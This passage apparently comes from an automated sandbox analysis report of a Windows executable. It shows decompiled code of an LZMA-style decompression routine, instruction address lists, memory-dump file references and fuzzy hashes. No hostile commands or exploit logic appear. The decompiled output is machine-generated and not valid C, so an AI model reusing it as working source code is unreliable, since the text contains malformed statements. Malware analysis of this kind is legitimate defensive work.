												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L101:
													_t338 = __ebp - 0x48;
													 *_t338 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t338;
													goto L102;
												} else {
													L106:
													goto L99;
												}
											}
											L96:
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L108;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												L162:
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											L57:
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L80;
										case 0x1b:
											L76:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												L163:
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											L77:
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t275 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t275;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t284 = __ebp - 0x64;
											 *_t284 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t284;
											 *( *(__ebp - 0x68)) = __cl;
											L80:
											 *(__ebp - 0x14) = __edx;
											goto L81;
										case 0x1c:
											while(1) {
												L123:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												L124:
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t414 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t414;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t414;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L127:
													L81:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											L167:
											 *(__ebp - 0x88) = 0x1c;
											goto L170;
									}
								}
								L171:
								_t539 = _t538 | 0xffffffff;
								goto L172;
							}
						}
					}
				}
			}

0x004063dd
0x004063dd
0x004063dd
0x004063dd
0x004063e3
0x004063e7
0x004063eb
0x004063f5
0x00406403
0x004066d9
0x004066d9
0x004066dc
0x004066e3
0x00406710
0x00406710
0x00406714
0x00000000
0x00000000
0x00406716
0x0040671f
0x00406725
0x00406728
0x0040672b
0x0040672e
0x00406731
0x00406737
0x00406750
0x00406753
0x0040675f
0x00406760
0x00406763
0x00406739
0x00406739
0x00406748
0x0040674b
0x0040674b
0x0040676d
0x0040670d
0x0040670d
0x0040670d
0x00406710
0x00406714
0x00000000
0x00000000
0x00000000
0x0040676f
0x0040676f
0x004066e8
0x004066ec
0x00406824
0x00406824
0x0040682e
0x00406836
0x0040683d
0x0040683f
0x00406846
0x0040684a
0x0040684a
0x004066f2
0x004066f8
0x004066ff
0x00406707
0x00406707
0x0040670a
0x00000000
0x0040670a
0x00406774
0x00406781
0x00406784
0x00406690
0x00406690
0x00406690
0x00405e2c
0x00405e2c
0x00405e2c
0x00405e35
0x00000000
0x00000000
0x00405e3b
0x00405e3b
0x00000000
0x00405e42
0x00405e46
0x00000000
0x00000000
0x00405e4c
0x00405e4f
0x00405e52
0x00405e55
0x00405e59
0x00000000
0x00000000
0x00405e5f
0x00405e5f
0x00405e62
0x00405e64
0x00405e65
0x00405e68
0x00405e6a
0x00405e6b
0x00405e6d
0x00405e70
0x00405e75
0x00405e7a
0x00405e83
0x00405e96
0x00405e99
0x00405ea5
0x00405ecd
0x00405ecf
0x00405edd
0x00405edd
0x00405ee1
0x00000000
0x00000000
0x00000000
0x00000000
0x00405ed1
0x00405ed1
0x00405ed4
0x00405ed5
0x00405ed5
0x00000000
0x00405ed1
0x00405ea7
0x00405eab
0x00405eb0
0x00405eb0
0x00405eb9
0x00405ec1
0x00405ec4
0x00000000
0x00405eca
0x00405eca
0x00000000
0x00405eca
0x00000000
0x00405ee7
0x00405ee7
0x00405eeb
0x00406797
0x00406797
0x00000000
0x00406797
0x00405ef1
0x00405ef4
0x00405f04
0x00405f07
0x00405f0a
0x00405f0a
0x00405f0a
0x00405f0d
0x00405f11
0x00000000
0x00000000
0x00405f13
0x00405f13
0x00405f19
0x00405f43
0x00405f49
0x00405f50
0x00000000
0x00405f50
0x00405f1b
0x00405f1f
0x00405f22
0x00405f27
0x00405f27
0x00405f32
0x00405f3a
0x00405f3d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405f82
0x00405f88
0x00405f8b
0x00405f98
0x00405fa0
0x00000000
0x00000000
0x00405f57
0x00405f57
0x00405f5b
0x004067a6
0x004067a6
0x00000000
0x004067a6
0x00405f61
0x00405f67
0x00405f72
0x00405f72
0x00405f72
0x00405f75
0x00405f78
0x00405f7b
0x00405f80
0x00000000
0x00000000
0x00000000
0x00000000
0x00406617
0x00406617
0x0040661d
0x00406623
0x00406629
0x00406643
0x00406646
0x0040664c
0x00406657
0x00406657
0x00406659
0x0040662b
0x0040662b
0x0040663a
0x0040663e
0x0040663e
0x00406663
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406665
0x00406669
0x00406818
0x00406818
0x00000000
0x00406818
0x0040666f
0x00406675
0x0040667c
0x00406684
0x00406687
0x0040668a
0x0040668a
0x00406690
0x00406690
0x00000000
0x00000000
0x00405fa8
0x00405fa8
0x00405faa
0x00405fad
0x0040601e
0x0040601e
0x00406021
0x00406024
0x0040602b
0x00406035
0x00000000
0x00406035
0x00405faf
0x00405faf
0x00405fb3
0x00405fb6
0x00405fb8
0x00405fbb
0x00405fbe
0x00405fc0
0x00405fc3
0x00405fc5
0x00405fca
0x00405fcd
0x00405fd0
0x00405fd4
0x00405fdb
0x00405fde
0x00405fe5
0x00405fe9
0x00405ff1
0x00405ff1
0x00405ff1
0x00405feb
0x00405feb
0x00405feb
0x00405fe0
0x00405fe0
0x00405fe0
0x00405ff5
0x00405ff8
0x00406016
0x00406016
0x00406018
0x00000000
0x00405ffa
0x00405ffa
0x00405ffa
0x00405ffd
0x00406000
0x00406003
0x00406005
0x00406005
0x00406005
0x00406008
0x0040600b
0x0040600d
0x0040600e
0x00406011
0x00000000
0x00406011
0x00000000
0x00406247
0x00406247
0x0040624b
0x00406269
0x00406269
0x0040626c
0x00406273
0x00406276
0x00406279
0x0040627c
0x0040627f
0x00406282
0x00406284
0x0040628b
0x0040628c
0x0040628e
0x00406291
0x00406294
0x00406297
0x00406297
0x0040629c
0x00000000
0x0040629c
0x0040624d
0x0040624d
0x00406250
0x00406253
0x0040625d
0x00000000
0x00000000
0x004062b1
0x004062b1
0x004062b5
0x004062d8
0x004062db
0x004062de
0x004062e8
0x004062b7
0x004062b7
0x004062ba
0x004062bd
0x004062c0
0x004062cd
0x004062d0
0x004062d0
0x00000000
0x00000000
0x004062f4
0x004062f4
0x004062f8
0x00000000
0x00000000
0x004062fe
0x004062fe
0x00406302
0x00000000
0x00000000
0x00406308
0x00406308
0x0040630a
0x0040630e
0x0040630e
0x00406311
0x00406315
0x00000000
0x00000000
0x00406365
0x00406365
0x00406369
0x00406370
0x00406370
0x00406373
0x00406376
0x00406380
0x00000000
0x00406380
0x0040636b
0x0040636b
0x00000000
0x00000000
0x0040638c
0x0040638c
0x00406390
0x00406397
0x0040639a
0x0040639d
0x00406392
0x00406392
0x00406392
0x004063a0
0x004063a3
0x004063a6
0x004063a6
0x004063a9
0x004063ac
0x004063af
0x004063af
0x004063b2
0x004063b9
0x004063be
0x00000000
0x00000000
0x0040644c
0x0040644c
0x00406450
0x004067ee
0x004067ee
0x00000000
0x004067ee
0x00406456
0x00406456
0x00406459
0x0040645c
0x00406460
0x00406463
0x00406469
0x0040646b
0x0040646b
0x0040646b
0x0040646e
0x00406471
0x00000000
0x00000000
0x00406041
0x00406041
0x00406045
0x004067b2
0x004067b2
0x00000000
0x004067b2
0x0040604b
0x0040604b
0x0040604e
0x00406051
0x00406055
0x00406058
0x0040605e
0x00406060
0x00406060
0x00406060
0x00406063
0x00406066
0x00406066
0x00406069
0x0040606c
0x00000000
0x00000000
0x00406072
0x00406072
0x00406078
0x00000000
0x00000000
0x0040607e
0x0040607e
0x00406082
0x00406085
0x00406088
0x0040608b
0x0040608e
0x0040608f
0x00406092
0x00406094
0x0040609a
0x0040609d
0x004060a0
0x004060a3
0x004060a6
0x004060a9
0x004060ac
0x004060c8
0x004060cb
0x004060ce
0x004060d1
0x004060d8
0x004060dc
0x004060de
0x004060e2
0x004060ae
0x004060ae
0x004060b2
0x004060ba
0x004060bf
0x004060c1
0x004060c3
0x004060c3
0x004060e5
0x004060ec
0x004060ef
0x00000000
0x004060f5
0x004060f5
0x00000000
0x004060f5
0x00000000
0x004060fa
0x004060fa
0x004060fe
0x004067be
0x004067be
0x00000000
0x004067be
0x00406104
0x00406104
0x00406107
0x0040610a
0x0040610e
0x00406111
0x00406117
0x00406119
0x00406119
0x00406119
0x0040611c
0x0040611f
0x0040611f
0x0040611f
0x00406125
0x00000000
0x00000000
0x00406127
0x00406127
0x0040612a
0x0040612d
0x00406130
0x00406133
0x00406136
0x00406139
0x0040613c
0x0040613f
0x00406142
0x00406145
0x0040615d
0x00406160
0x00406163
0x00406166
0x00406166
0x00406169
0x0040616d
0x0040616f
0x00406147
0x00406147
0x0040614f
0x00406154
0x00406156
0x00406158
0x00406158
0x00406172
0x00406179
0x0040617c
0x00000000
0x0040617e
0x0040617e
0x00000000
0x0040617e
0x0040617c
0x00406183
0x00406183
0x00406183
0x00406183
0x00000000
0x00000000
0x004061be
0x004061be
0x004061c2
0x004067ca
0x004067ca
0x00000000
0x004067ca
0x004061c8
0x004061c8
0x004061cb
0x004061ce
0x004061d2
0x004061d5
0x004061db
0x004061dd
0x004061dd
0x004061dd
0x004061e0
0x004061e3
0x004061e3
0x004061e9
0x00406187
0x00406187
0x0040618a
0x00000000
0x0040618a
0x004061eb
0x004061eb
0x004061ee
0x004061f1
0x004061f4
0x004061f7
0x004061fa
0x004061fd
0x00406200
0x00406203
0x00406206
0x00406209
0x00406221
0x00406224
0x00406227
0x0040622a
0x0040622a
0x0040622d
0x00406231
0x00406233
0x0040620b
0x0040620b
0x00406213
0x00406218
0x0040621a
0x0040621c
0x0040621c
0x00406236
0x0040623d
0x00406240
0x00000000
0x00406242
0x00406242
0x00000000
0x00406242
0x00000000
0x004064cf
0x004064cf
0x004064d3
0x004067fa
0x004067fa
0x00000000
0x004067fa
0x004064d9
0x004064d9
0x004064dc
0x004064df
0x004064e3
0x004064e6
0x004064ec
0x004064ee
0x004064ee
0x004064ee
0x004064f1
0x00000000
0x00000000
0x0040629f
0x0040629f
0x004062a2
0x00000000
0x00000000
0x004065de
0x004065de
0x004065e2
0x00406604
0x00406604
0x00406607
0x00406611
0x00406614
0x00406614
0x00000000
0x00406614
0x004065e4
0x004065e4
0x004065e7
0x004065eb
0x004065ee
0x004065ee
0x004065f1
0x00000000
0x00000000
0x0040669b
0x0040669b
0x0040669f
0x004066bd
0x004066bd
0x004066bd
0x004066bd
0x004066c4
0x004066cb
0x004066d2
0x004066d2
0x004066d9
0x004066dc
0x004066e3
0x00000000
0x004066e6
0x004066a1
0x004066a1
0x004066a4
0x004066a7
0x004066aa
0x004066b1
0x004065f5
0x004065f5
0x004065f8
0x00000000
0x00000000
0x0040678c
0x0040678c
0x0040678f
0x00406690
0x00406690
0x00406690
0x00000000
0x00406696
0x00000000
0x004063c6
0x004063c6
0x004063c8
0x004063cf
0x004063d0
0x004063d2
0x004063d5
0x00000000
0x00000000
0x00000000
0x00000000
0x004066d9
0x004066d9
0x004066dc
0x004066e3
0x00000000
0x004066e6
0x00000000
0x00000000
0x00000000
0x0040640b
0x0040640b
0x0040640e
0x00406444
0x00406444
0x00406574
0x00406574
0x00406574
0x00406574
0x00406577
0x00406577
0x0040657a
0x0040657c
0x00406806
0x00406806
0x00000000
0x00406806
0x00406582
0x00406582
0x00406585
0x00000000
0x00000000
0x0040658b
0x0040658b
0x0040658f
0x00406592
0x00406592
0x00406592
0x00000000
0x00406592
0x00406410
0x00406410
0x00406412
0x00406414
0x00406416
0x00406419
0x0040641a
0x0040641c
0x0040641e
0x00406421
0x00406424
0x0040643a
0x0040643a
0x0040643f
0x00406477
0x00406477
0x0040647b
0x004064a4
0x004064a7
0x004064a9
0x004064b0
0x004064b3
0x004064b6
0x004064b6
0x004064bb
0x004064bb
0x004064bd
0x004064c0
0x004064c7
0x004064ca
0x004064f7
0x004064f7
0x004064fa
0x004064fd
0x00406571
0x00406571
0x00406571
0x00406571
0x00000000
0x00406571
0x004064ff
0x004064ff
0x00406505
0x00406508
0x0040650b
0x0040650e
0x00406511
0x00406514
0x00406517
0x0040651a
0x0040651d
0x00406520
0x00406539
0x0040653b
0x0040653e
0x0040653f
0x00406542
0x00406544
0x00406547
0x00406549
0x0040654b
0x0040654e
0x00406550
0x00406553
0x00406557
0x00406559
0x00406559
0x0040655a
0x0040655d
0x00406560
0x00406522
0x00406522
0x0040652a
0x0040652f
0x00406531
0x00406534
0x00406534
0x00406563
0x0040656a
0x004064f4
0x004064f4
0x004064f4
0x004064f4
0x00000000
0x0040656c
0x0040656c
0x00000000
0x0040656c
0x0040656a
0x0040647d
0x0040647d
0x00406480
0x00406482
0x00406485
0x00406488
0x0040648b
0x0040648d
0x00406490
0x00406493
0x00406493
0x00406496
0x00406496
0x00406499
0x004064a0
0x00406474
0x00406474
0x00406474
0x00406474
0x00000000
0x004064a2
0x004064a2
0x00000000
0x004064a2
0x004064a0
0x00406426
0x00406426
0x00406429
0x0040642b
0x0040642e
0x00000000
0x00000000
0x0040618d
0x0040618d
0x00406191
0x004067d6
0x004067d6
0x00000000
0x004067d6
0x00406197
0x00406197
0x0040619a
0x0040619d
0x004061a0
0x004061a3
0x004061a6
0x004061a9
0x004061ab
0x004061ae
0x004061b1
0x004061b4
0x004061b6
0x004061b6
0x004061b6
0x00000000
0x00000000
0x00406318
0x00406318
0x0040631c
0x004067e2
0x004067e2
0x00000000
0x004067e2
0x00406322
0x00406322
0x00406325
0x00406328
0x0040632b
0x0040632d
0x0040632d
0x0040632d
0x00406330
0x00406333
0x00406336
0x00406339
0x0040633c
0x0040633f
0x00406340
0x00406342
0x00406342
0x00406342
0x00406345
0x00406348
0x0040634b
0x0040634e
0x0040634e
0x0040634e
0x00406351
0x00406353
0x00406353
0x00000000
0x00000000
0x00406595
0x00406595
0x00406595
0x00406599
0x00000000
0x00000000
0x0040659f
0x0040659f
0x004065a2
0x004065a5
0x004065a8
0x004065aa
0x004065aa
0x004065aa
0x004065ad
0x004065b0
0x004065b3
0x004065b6
0x004065b9
0x004065bc
0x004065bd
0x004065bf
0x004065bf
0x004065bf
0x004065c2
0x004065c5
0x004065c8
0x004065cb
0x004065ce
0x004065d2
0x004065d4
0x004065d7
0x00000000
0x004065d9
0x004065d9
0x00406356
0x00406356
0x00000000
0x00406356
0x004065d7
0x0040680c
0x0040680c
0x00000000
0x00000000
0x00405e3b
0x00406843
0x00406843
0x00000000
0x00406843
0x00406690
0x00406710
0x004066d9

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ad8b3a7fce677aa33c13c02e3180aa90519ee056083dbfcd0f6a1ae91265e6c
Instruction ID: 95af8839098f806f541805b71f16133a603fad5641f47eebb8f014e75b9041d1
Opcode Fuzzy Hash: 8ad8b3a7fce677aa33c13c02e3180aa90519ee056083dbfcd0f6a1ae91265e6c
Instruction Fuzzy Hash: 58A13371D00229CBDF28CFA8C8447ADBBB1FF44305F25856AD856BB281D7789A86DF44

Uniqueness

Uniqueness Score: -1.00%

Function 004065DE, Relevance: 5.2, APIs: 4, Instructions: 208
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E004065DE() {
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int* _t605;
				void* _t612;

				L0:
				while(1) {
					L0:
					if( *(_t612 - 0x40) != 0) {
						 *(_t612 - 0x84) = 0x13;
						_t605 =  *((intOrPtr*)(_t612 - 0x58)) + 2;
						goto L132;
					} else {
						__eax =  *(__ebp - 0x4c);
						 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
						__ecx =  *(__ebp - 0x58);
						__eax =  *(__ebp - 0x4c) << 4;
						__eax =  *(__ebp - 0x58) + __eax + 4;
						L130:
						 *(__ebp - 0x58) = __eax;
						 *(__ebp - 0x40) = 3;
						L144:
						 *(__ebp - 0x7c) = 0x14;
						L145:
						__eax =  *(__ebp - 0x40);
						 *(__ebp - 0x50) = 1;
						 *(__ebp - 0x48) =  *(__ebp - 0x40);
						L149:
						if( *(__ebp - 0x48) <= 0) {
							__ecx =  *(__ebp - 0x40);
							__ebx =  *(__ebp - 0x50);
							0 = 1;
							__eax = 1 << __cl;
							__ebx =  *(__ebp - 0x50) - (1 << __cl);
							__eax =  *(__ebp - 0x7c);
							 *(__ebp - 0x44) = __ebx;
							while(1) {
								L140:
								 *(_t612 - 0x88) = _t533;
								while(1) {
									L1:
									_t534 =  *(_t612 - 0x88);
									if(_t534 > 0x1c) {
										break;
									}
									switch( *((intOrPtr*)(_t534 * 4 +  &M0040684B))) {
										case 0:
											if( *(_t612 - 0x6c) == 0) {
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											_t534 =  *( *(_t612 - 0x70));
											if(_t534 > 0xe1) {
												goto L171;
											}
											_t538 = _t534 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t569);
											_push(9);
											_pop(_t570);
											_t608 = _t538 / _t569;
											_t540 = _t538 % _t569 & 0x000000ff;
											asm("cdq");
											_t603 = _t540 % _t570 & 0x000000ff;
											 *(_t612 - 0x3c) = _t603;
											 *(_t612 - 0x1c) = (1 << _t608) - 1;
											 *((intOrPtr*)(_t612 - 0x18)) = (1 << _t540 / _t570) - 1;
											_t611 = (0x300 << _t603 + _t608) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t612 - 0x78))) {
												L10:
												if(_t611 == 0) {
													L12:
													 *(_t612 - 0x48) =  *(_t612 - 0x48) & 0x00000000;
													 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t611 = _t611 - 1;
													 *((short*)( *(_t612 - 4) + _t611 * 2)) = 0x400;
												} while (_t611 != 0);
												goto L12;
											}
											if( *(_t612 - 4) != 0) {
												GlobalFree( *(_t612 - 4));
											}
											_t534 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t612 - 4) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t612 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t612 - 0x6c);
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 1;
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x40) =  *(_t612 - 0x40) | ( *( *(_t612 - 0x70)) & 0x000000ff) <<  *(_t612 - 0x48) << 0x00000003;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											_t45 = _t612 - 0x48;
											 *_t45 =  *(_t612 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t612 - 0x48) < 4) {
												goto L13;
											}
											_t546 =  *(_t612 - 0x40);
											if(_t546 ==  *(_t612 - 0x74)) {
												L20:
												 *(_t612 - 0x48) = 5;
												 *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) =  *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											 *(_t612 - 0x74) = _t546;
											if( *(_t612 - 8) != 0) {
												GlobalFree( *(_t612 - 8)); // executed
											}
											_t534 = GlobalAlloc(0x40,  *(_t612 - 0x40)); // executed
											 *(_t612 - 8) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t553 =  *(_t612 - 0x60) &  *(_t612 - 0x1c);
											 *(_t612 - 0x84) = 6;
											 *(_t612 - 0x4c) = _t553;
											_t605 =  *(_t612 - 4) + (( *(_t612 - 0x38) << 4) + _t553) * 2;
											goto L132;
										case 3:
											L21:
											__eflags =  *(_t612 - 0x6c);
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 3;
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											_t67 = _t612 - 0x70;
											 *_t67 =  &(( *(_t612 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
											L23:
											 *(_t612 - 0x48) =  *(_t612 - 0x48) - 1;
											if( *(_t612 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t531 =  *_t605;
											_t588 = _t531 & 0x0000ffff;
											_t564 = ( *(_t612 - 0x10) >> 0xb) * _t588;
											if( *(_t612 - 0xc) >= _t564) {
												 *(_t612 - 0x10) =  *(_t612 - 0x10) - _t564;
												 *(_t612 - 0xc) =  *(_t612 - 0xc) - _t564;
												 *(_t612 - 0x40) = 1;
												_t532 = _t531 - (_t531 >> 5);
												__eflags = _t532;
												 *_t605 = _t532;
											} else {
												 *(_t612 - 0x10) = _t564;
												 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
												 *_t605 = (0x800 - _t588 >> 5) + _t531;
											}
											if( *(_t612 - 0x10) >= 0x1000000) {
												goto L139;
											} else {
												goto L137;
											}
										case 5:
											L137:
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 5;
												goto L170;
											}
											 *(_t612 - 0x10) =  *(_t612 - 0x10) << 8;
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
											L139:
											_t533 =  *(_t612 - 0x84);
											goto L140;
										case 6:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											goto L132;
										case 8:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xa;
												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
											} else {
												__eax =  *(__ebp - 0x38);
												__ecx =  *(__ebp - 4);
												__eax =  *(__ebp - 0x38) + 0xf;
												 *(__ebp - 0x84) = 9;
